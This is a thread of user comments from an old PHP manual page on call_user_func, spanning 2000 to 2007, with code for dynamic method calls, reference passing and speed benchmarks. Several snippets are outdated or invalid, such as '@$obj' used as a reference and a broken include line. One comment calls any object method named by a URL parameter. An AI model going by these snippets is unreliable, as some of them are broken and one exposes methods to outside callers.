Knightnet 07-Sep-2007 05:31
You don't need to use this function to call a variable class function. Instead you can do the following:

$this->{$fnname}();

The example works in PHP 5 from within the class. It is the {} that do the trick.

Regards,
Julian.
serge belychev 23-Aug-2007 07:08
For calling a class method from version 5.2.3 you can write

<?php
class myclass {
    static function say_hello()
    {
        echo "Hello!\n";
    }
}

$classname = "myclass";

call_user_func('myclass::say_hello');
?>
lsblsb at gmx dot de 29-Jun-2007 04:55
referring to Mr.KTO (and Bug #24931):
[system: PHP 5.2.0-8] - _doesnt_ pass by reference, at least when using the old syntax with the '&'.

when you pass your object by reference using call_user_func, any changes made on that object within the called function wont effect your "original" object.

you should use mixed call_user_func_array ( callback $function, array $param_arr ) instead or eval() (slower).
Mr.KTO 14-Jun-2007 07:39
To send an object to your function by link, using call_user_func it's not enough (in php4) to define func(&$obj) { ... }

You need: call_user_func("callback", &$myobj)

(in php5 objects are sending by link as default)
jaimz at vertigolabs dot org 27-Oct-2006 10:40
replay to bkfake-php at yahoo dot com's comment:

that's not passing by referance, your explicitly setting the value of $testy's member variable, infact, if you take the & out of your outsidefunc() it still works...
bkfake-php at yahoo dot com 26-Oct-2006 10:18
I have found a case where the parameters ARE passed by reference

class test
{
    function test()
    {
        $this->passme = '';
        call_user_func('outsidefunc',$this);
        // $this->passme is now 'not empty'
        // with 5.1.2
        // not so with php 4.3.10...
    }
}

function outsidefunc(&$testy)
{
     $testy->passme = 'not empty';
}
$test = new test();
echo 'passme = '.$test->passme;
Typer85 at gmail dot com 12-Sep-2006 03:57
I would just like to say at first that I prefer variable function calls over the use of this function.

However I found that at some times, the use of this function is needed in situtations where variable function calls can not be used. And in those same situations, the use of this function is also better than using eval.

The situation I ran into is this:

I wanted to call object methods dynamically from within the object but with arguments given for possible parameters that the method I will call requires.

The parameters themselves are dynamic, meaning I have no prior knowledge of how many their are, their values, or if they even exist.

Also because object methods are dynamic, meaning I have no prior knowledge which object method will actually be called, I can not simply use variable function calls, call the method and pass any parameters.

So what I simply do is call the object method with an array of parameters, something that, to the best of my knowledge, can not be done with variable function calls, since variable function calls, even though they themeselves are dynamic, passing parameters to them is not.
watchout at no dot spam dot please 29-Aug-2006 06:05
> This particular case will not work. The user functions can only be successfully called (as the documentation alludes to), with static calls to class functions.

actually it *does* work on PHP 5.0.2 (tested), and should also work on PHP 4.3.x (untested). Also the documentation does not state that only calls to static class methods are possible, but it says clearly that calls to OBJECT (thats dynamic) methods are possible: http://cz.php.net/manual/en/language.pseudo-types.php (see under type callback)
rlansky at webroot dot com 14-Jul-2006 04:17
Based on the previous posts, it appears that using call_user_func can be serveral times slower than using variable substitution. I think these results are somewhat misleading.

I set up a similar test in which a static method of an object was called repeatedly in a loop. I got similar results to those seen; when calling the method using call_user_func the execution was twice that of calling the method directly. However, I then started adding some "meat" to the method in question. In my case, I found that what was constant was not the percentage change, but rather that there is a fixed cost to using call_user_func.

In my case, this fixed cost was 2 microseconds per call. When executing a method that performs no operations, this is a large percentage of the execution time for that method. However, when using this on a method that actually performs some work, the 2 microsecond cost is almost impossible to measure.

It seems to me that if you want to use call_user_func to call a very fast executing method, and you need to do this thousands of times, then you may want to reconsider. However, if you are using this to call methods that are not executed thousands of times, the small fixed cost of using php call_user_func is probably not an issue.
Maresa 13-Apr-2006 03:41
I tested the same code that insta at citiesunlimited dot com pasted on the following machines:

www1 machine:
OS:  FreeBSD 5.2.1-RELEASE
CPU: 2 x Intel(R) Xeon(TM) CPU 2.66GHz (2657.82-MHz 686-class CPU) with Hyperthreading
MEM: 1073217536 (1023 MB)
PHP 5.1.2 (cli)
PHP 4.4.1 (Web)

www2 machine:
OS:  Linux version 2.6.14-gentoo-r5 Gentoo 3.4.3-r1, ssp-3.4.3-0, pie-8.7.7)
CPU: 2 x Dual Core AMD Opteron(tm) Processor 265 stepping 02 1808.357 MHz
MEM: 2060388k total
PHP 5.1.2 (cli)
PHP Version 4.4.0-pl1-gentoo (web)

dev machine:
OS:  Linux version 2.6.15-gentoo-r1 Gentoo 3.3.5.20050130-r1, ssp-3.3.5.20050130-1, pie-8.7.7.1
CPU: Intel(R) Pentium(R) 4 CPU 2.00GHz stepping 04
MEM: 516384k total,
PHP 4.4.0-pl1-gentoo (cli)
PHP Version 4.4.0-pl1-gentoo (web)

The result are as follows:

www1 - CLI
Variable functions took 0.012186050415 seconds.
call_user_func took 0.0300550460815 seconds.
eval took 0.17235994339 seconds.

www1 - Web
Variable functions took 0.017616 seconds.
call_user_func took 0.034926 seconds.
eval took 0.149618 seconds

www2 - CLI
Variable functions took 0.0065491199493408 seconds.
call_user_func took 0.019452095031738 seconds.
eval took 0.10734891891479 seconds.

www2 - Web
Variable functions took 0.01565 seconds.
call_user_func took 0.02613 seconds.
eval took 0.132258 seconds.

dev - CLI
Variable functions took 0.025176 seconds.
call_user_func took 0.047402 seconds.
eval took 0.168196 seconds.

dev - Web
Variable functions took 0.025465 seconds.
call_user_func took 0.049713 seconds.
eval took 0.20154 seconds.

On www1 - CLI, eval is about 14 times slower than calling function by using variable.
On www1 - Web, eval is about 8.5 times slower (hmm interesting. Perhaps PHP4 is faster calculating eval than PHP5)

On www2 - CLI, eval is about 16 times slower than calling function by using variable.
On www2 - Web, eval is about 8.5 times slower (about same result as www1)

On dev - CLI, eval is about 6.6 times slower than calling function by using variable.
On dev - Web, eval is about 8 times slower (about same result as www1)

On the dev machine, CLI and web version of PHP is the same. and their speed difference between calling function using variable or eval does not differ that much compare to PHP5 VS PHP5
insta at citiesunlimited dot com 06-Feb-2006 12:15
I benchmarked the comparison in speed between variable functions, call_user_func, and eval.  My results are below:

Variable functions took 0.125958204269 seconds.
call_user_func took 0.485446929932 seconds.
eval took 2.78526711464 seconds.

This was run on a Compaq Proliant server, 180MHz Pentium Pro 256MB RAM.  Code is as follows:

<?php

function fa () { return 1; }
function fb () { return 1; }
function fc () { return 1; }

$calla = 'fa';
$callb = 'fb';
$callc = 'fc';

$time = microtime( true );
for( $i = 5000; $i--; ) {
    $x = 0;
    $x += $calla();
    $x += $callb();
    $x += $callc();
    if( $x != 3 ) die( 'Bad numbers' );
}
echo( "Variable functions took " . (microtime( true ) - $time) . " seconds.<br />" );

$time = microtime( true );
for( $i = 5000; $i--; ) {
    $x = 0;
    $x += call_user_func('fa', '');
    $x += call_user_func('fb', '');
    $x += call_user_func('fc', '');
    if( $x != 3 ) die( 'Bad numbers' );
}
echo( "call_user_func took " . (microtime( true ) - $time) . " seconds.<br />" );

$time = microtime( true );
for( $i = 5000; $i--; ) {
    $x = 0;
    eval( '$x += ' . $calla . '();' );
    eval( '$x += ' . $callb . '();' );
    eval( '$x += ' . $callc . '();' );
    if( $x != 3 ) die( 'Bad numbers' );
}
echo( "eval took " . (microtime( true ) - $time) . " seconds.<br />" );

?>
Marco 05-Oct-2005 01:42
>phil at gettcomm dot com
>22-May-2002 04:51
>if you need to get a reference back from a method, you can work around
>call_user_func()'s shortcomings like this:
>
Naaa! Having back a reference is a real problem, but it can be solved by mean of eval(), instead of using call_user_func:

<?php
  class Node {
    var $name;
    var $child;
    function Node ( $name ) { $this->name = $name; }
    function &getChild () { return $this->child; }
  }
  $p = new Node ( 'Father' );
  $c = new Node ( 'Child' );
  $p->child = &$c;

  eval ( "\\$cref = &\\$p->getChild ();" );
  $cref->name = 'Another Child';

  // Prints out 'Another Child'
  echo "****** After eval c = " . $c->name . "\\n\\n";

?>
php at REMOVEMEkennel17 dot co dot uk 09-Aug-2005 08:46
re comment by mw at lanfear dot com

I am using PHP 4.3.2 and that technique works fine here as well.
mw at lanfear dot com 26-Jul-2005 01:49
This function is actually quite useful for calling static methods on classes, which you CANNOT call as:

$v1 = 'MyClass';
$m1 = 'method';
$v1::$m1();           // syntax error -- not permitted.

The following, however, DOES work quite well, and is hopefully slightly faster than eval() ...

$ar = array($v1, $m1);

call_user_func($ar);    // works teh awes0me!!1!

[I am, however, presuming PHP5 here ...]
info at webseiteselberpflegen dot de 18-May-2005 01:00
It seems like call_user_func() can not be used to create Objects via the new Command.

The Following example dosen't work:

<?php
  include_once(class_".$type.".php");
  $object = new call_user_func ('bdv_'.$type);
?>

But this works:

<?php
    include_once(class_".$type.".php");
    $constr = 'bdv_'.$type;
    $object = new $constr();
?>
d at safetypub dot org 15-Mar-2005 08:43
callbacks, this par excellence, goes with set error handler, everywhere you'ren't sure of extensio de intensionibus (animis alii).

<?php

$checkMe = null;
$detail = array();
set_error_handler("imErrant");

array_shift($argv);
if ($argc == 1){
        call_user_func(strtolower($argv[0]));
} else if($argc == 2){
        call_user_func(strtolower($argv[0]), $argv[1]);
}
else
        call_user_func_array(strtolower($argv[0]),array_shift($argv));

if($checkMe)var_export($detail);

function imErrant($no, $str, $file, $line)
{
    global $checkMe, $detail;
    $checkMe = $no;
    $detail = array($str, $file, $line);
}
?>
24-Feb-2005 07:46
<?php
/*
    A very simple event handler dispose and change the latest one I did
*/

class Duke
{
//public:
    var $m_pRaiser;
    var $m_strRaiserFun;
    var $m_objArgs;
//public:
    function Duke(  $pRaiser,
            $strRaiserFun,
            $objArgs )
    {
        $this ->m_pRaiser      = $pRaiser;
        $this ->m_strRaiserFun = $strRaiserFun;
        $this ->m_objArgs      = $objArgs;

    }//end of constructor

}//end of class Duke

class A
{
//protected:
    function OnEventHandler( $sender, $args )//virtual
    {
        $sender ->SayHello();
    }//end of OnEventHandler( $sender, $args )

//public:
    function OnEvent( $pDuke = null )
    {
        if( $pDuke == null )
        {
            call_user_func( array( &$this, "OnEventHandler" ), $this, null );
            return;
        }

        call_user_func( array( $pDuke ->m_pRaiser, $pDuke ->m_strRaiserFun ), $pDuke ->m_pRaiser, $pDuke ->m_objArgs );

    }//end of  OnEvent( $pDuke )

    function SayHello()//virtual
    {
        echo "A::SayHello" . "<br>";
    }//end of SayHello()

}//end of class A

class B extends A
{
//public:
    function SayHello()//override
    {
        echo "B::SayHello" . "<br>";
    }//end of SayHello()

}//end of class B

//////////////////////////////////////////////////////////////////////
//Main import to test
//
$a = &new A();
$b = &new B();

$pDuke = &new Duke( $b, "OnEventHandler", null );

$b ->OnEvent();
$b ->OnEvent( $pDuke );
?>
zxy at estec-jp dot com 24-Feb-2005 02:57
A simple event handler dispose released by useful callback in PHP 4.x

<?php
class Duke
{
//public:
    var $m_pRaiser;
    var $m_strRaiserFun;
    var $m_objArgs;
//public:
    function Duke(  $pRaiser,
            $strRaiserFun,
            $objArgs )
    {
        $this ->m_pRaiser      = $pRaiser;
        $this ->m_strRaiserFun = $strRaiserFun;
        $this ->m_objArgs      = $objArgs;

    }//end of constructor

}//end of class Duke

class A
{
//protected:
    function OnEventHandler( $sender, $args )//virtual
    {
        $sender ->SayHello();
    }//end of OnEventHandler( $sender, $args )

//public:
    function OnEvent( $pDuke )
    {
        call_user_func( array( $pDuke ->m_pRaiser, $pDuke ->m_strRaiserFun ), $pDuke ->m_pRaiser, $pDuke ->m_objArgs );
    }//end of  OnEvent( $pDuke )

    function SayHello()//virtual
    {
        echo "A::SayHello" . "<br>";
    }//end of SayHello()

}//end of class A

class B extends A
{
//public:
    function SayHello()//override
    {
        echo "B::SayHello" . "<br>";
    }//end of SayHello()

}//end of class B

///////////////////////////////////////////////////////////
//Main import to test
//
$a = &new A();
$b = &new B();

$pDuke = &new Duke( $b, "SayHello", null );
$b ->OnEvent( $pDuke );
?>
bostjan dot skufca at domenca dot com 15-Dec-2004 12:33
This is the CORRECTED VERSION of previous note. After playing a while I realised that objects are not passed by reference implicitly, you have to do it on your own, so:

call_user_func(array($objectBar, 'methodFoo')); // case sensitive

first duplicates object $objectBar (internally) and only then calls it's methodFoo. This kind of use is discouraged as it may result in "unpredicted behaviour".

Correct version is here.
call_user_func(array(&$objectBar, 'methodFoo')); // case sensitive
(note the reference operator).

--- and the corrected note is here ---

I couldn't find any simple list of available callback variations, so I made one. It is tested on PHP 4.3.9 only.

If you need to call ordinary function:
call_user_func('funcFoo');

If you need to call CLASS method (NOT object):
call_user_func(array('classBar', 'methodFoo')); // case insensitive

If you need to call OBJECT method:
call_user_func(array(&$objectBar, 'methodFoo')); // case sensitive

If you need to call method of object of object:
call_user_func(array(&$objectBar->objectTor, 'methodFoo')); // case sensitive

If you need to call object method from within the very same object (NOT CLASS!):
call_user_func(array(&$this, 'methodFoo'));
07-Oct-2004 12:23
If you are trying to instantiate an object from a class whose name is dynamic, you WILL NOT be able to do this with call_user_func() and I do not suggest that you do it with eval(). The way to do it is actually much simpler than i thought. As far as i know this works in PHP 4 and 5:

<?PHP
class foo {
 var $boo;
    function foo( $someVal ) {
     $this->boo = $someVal;
    }
}

$ClassToUse = "foo";
$bar = new $ClassToUse('test');
echo $bar->boo;
?>
arjini at mac dot com 29-Mar-2004 05:04
Some of the wierder examples below confused me, and made me think that the following would work (but it does!).

<?php

class barber{
    function shop($one,$two,$three,$four='quartet'){
        echo $one.','.$two.','.$three.','.$four;
    }
}

$bsq = new barber;
call_user_func(array(&$bsq,'shop'),'one','two','three');

/* Output = one,two,three,quartet */

class bigBarber{
    var $quartet;
    function bigBarber(){
        $this->quartet = 'four';
    }
    function shop($one,$two,$three,$five='quintet'){
        echo $one.','.$two.','.$three.','.$this->quartet.','.$five;
    }
}

$bbsq = new bigBarber();
call_user_func(array(&$bbsq,'shop'),'one','two','three');

/* Output = one,two,three,four,quintet */

?>
Kris Koskelin 22-Jan-2004 03:21
I was trying to use this function to call a method of an already-instantiated object.  I needed to do this with the object itself, not simply call the class' method.

To accomplish this, I really avoided this particular function altogether like this:

<?php
if ( method_exists($my_obj, $action) ){
     return $my_obj->{$action}();
}
?>

I hope someone else finds this useful.  Note that doing this allows you to pass params to the function more-or-less in the same way you would to any other class method.
Michele.Manzato at verona.miz.it 29-Sep-2003 08:49
With overload()ed classes call_user_func_* calls real class methods only. If the method does not exist then PHP does not try with the "__call()" magic method (at least until PHP 4.3.3). See this:

<?php
class A
{
    function A() {}

    function __call($method, $args, &$ret) {
        echo "__call(): You called '{$method}()'<br>\n";
        return true;
    }

    function regular() {
        echo "You called 'regular()'<br>\n";
    }
};
overload("A");

$a = new A;

$a->regular();                          // Works, calls regular()
call_user_func(array(&$a, "regular"));  // Works, calls regular()

$a->hello();                            // Works, calls __call()
call_user_func(array(&$a, "hello"));    // Does NOT work!
?>
Carl 28-Jul-2003 11:53
I had a problem where I wanted to parameterize a callback. The end called was in an external class, but I needed to save some state for the callback that didn't make sense to keep in the original object, as it might change from call to call...

<?php
class foo
{
    function foo()
    {
        $str = "Hello There";

        $str2 = "Carl";

        $that =& new holder($str);

        call_user_func(array(&$that, 'callback'), $str2);
    }
}

class holder
{
    function holder($aParam)
    {
        $this->param = $aParam;
    }

    function callback($aStr)
    {
        echo "A=$this->param, B=$aStr\n";
    }
}
?>
matt at tasonline dot com 23-Nov-2002 12:24
On PHP 4.2.3 (not sure about older releases) you can send objects by reference by sending the reference from call_user_func()

<?php
function myFunction(@$obj)
{
   $obj->doThis('hello');
   return 0;
}

$myObj = new CObject();

call_user_func('myFunction', @$myObj);
?>
phil at gettcomm dot com 21-May-2002 07:51
if you need to get a reference back from a method, you can work around call_user_func()'s shortcomings like this:

<?php

$globalObj;

class tClass
{
    function &instance()
    {
        global $globalObj;
        if(!is_object($globalObj))
        {
            $globalObj = new tClass();
        }
        return $globalObj;
    }
}

$classname = "tClass";
# calling the function this way won't
# return a reference.
$test = &call_user_func(array($classname,"instance"));
# but if we call it again with the instance
# that we just got, it'll be the right
# one
$test = &$test->instance();
# so test is now a reference to $globalObj, just like it should be

# let's verify it:
$test->blah=1;

echo "<pre>";
print_r($test)."\n";
print_r($globalObj);
echo "</pre>";
# there, now it behaves just like you'd expect

?>
teleware at mind dot net 08-Apr-2002 01:34
I ran into some quirky behavior using call_user_func with an object.  The function parseAction() below lets me call any of my object's methods by passing the name of the method into a page (e.g. http://xyz.com/page.php?action=login).

<?php
class MyClass {

    function parseAction($actionKey)
    {
        global $METarget;

        if(method_exists($this,$actionKey))
        {
            call_user_func(array(&$this,$actionKey));
            return;
        }
        else
        {
            exit("Unknown action keyword: $actionKey");
        }
    }

    ...
    // other methods
    ...
}
?>

I found that my member variables weren't always being updated correctly.  The numberic values were preserved but the string variables retained their old value.  The solution was to put the reference operator '&' in front of the object's variable.  In this case it's $this because I'm calling it from within the object but this was also true when calling parseAction from an instanciated object e.g. call_user_func(array(&$myObject,$actionKey))
dougqh at hotmail dot com 07-Mar-2002 05:16
The previous note I posted had an error in the source code.  That has been corrected in this note.

Note, that returning by reference does not work properly when the function
is called using call_user_func.

This example illustrates the problem...

<?php
$globalVar = 0;

function &staticFunction()
{
   global $globalVar;

   return $globalVar;
}

$result =& call_user_func( "staticFunction" );

$result = 3;

print "result:" . $result . "<br/>\n";
print "globalVar: " . $globalVar . "<br/>\n";

$result2 =& staticFunction();

$result2 = 3;

print "result2: " . $result2 . "<br/>\n";
print "globalVar: " . $globalVar . "<br/>\n";
?>

The above code results in the following output ...
Note that $result is not a reference to $globalVar.

result:0
globalVar: 0
result2: 3
globalVar: 3

Also, the use of call_user_method is now deprecated in favor of passing
array( &$object, $method ) as the function to call_user_func.  This is
reported when error reporting is set to E_ALL in the latest versions of
PHP.
danyloco at yahoo dot com 17-Jul-2001 04:31
I was trying to call multiple functions within a class, and after a brain frying experience this is what came out... hope it helps:

<?php
class Foo {
 function hey1($id){echo "In hey1";}
 function hey2($id){echo "In hey2";}
 #... and so forth ...
 function runtest($id) {
   #the fun part :)
   for($i=1; $i<=2; $i++) {
     $fp = "hey".$i;
     $this->$fp($id);
}
}
}
?>

It worked like a charm :).
andreyhristov at yahoo dot com 22-Aug-2000 06:09
Let say we construct somehow the name of the function. In some cases we can use nested  'switch'  but the alternative is to to use for and parse a string to construct  the  function  name, after than  we also can construct and the parameter(s) for it. It  is like using of eval. I use it in  one of my projects to construct a name of nested array like $ar['1999'['july']['29']['19'], etc.

the problem is in that I'm parsing a string to construct the name. If I've {1:2:3}  the array name  will be $ar['1']['2']['3'] but if i've
{1:2:3:4:5} it will  be $ar['1']['2']['3']['4']['5'].

Eval is the only way (very hard because of characters escaping is needed)  to do it. So this function is of the type of EVAL().
USE IT wherever your script is  'self-modified';
call_user_func_array
create_function
Function handling Functions